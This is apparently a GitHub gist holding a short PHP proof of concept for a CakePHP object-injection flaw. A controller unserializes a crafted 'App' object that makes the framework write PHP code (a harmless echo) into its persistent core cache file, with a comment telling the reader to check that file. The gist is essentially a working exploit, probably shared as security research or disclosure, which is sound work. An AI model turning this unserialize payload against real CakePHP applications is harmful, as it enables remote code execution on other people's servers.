Skip to content

Instantly share code, notes, and snippets.

@ichikaway
Created November 18, 2010 02:00
Show Gist options
  • Save ichikaway/704519 to your computer and use it in GitHub Desktop.
Save ichikaway/704519 to your computer and use it in GitHub Desktop.
<?php
class SeriController extends AppController {
var $uses = array();
function index() {
$userinput_data = 'O:3:"App":4:{s:7:"__cache";i:1;s:5:"__map";a:2:{s:4:"Core";a:1:{s:6:"Router";s:42:"../tmp/cache/persistent/cake_core_file_map";}s:3:"Foo";s:26:"<? echo "hoge"; exit(); ?>";}s:7:"__paths";a:0:{}s:9:"__objects";a:0:{}}';
unserialize($userinput_data);
//check your cache file....
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment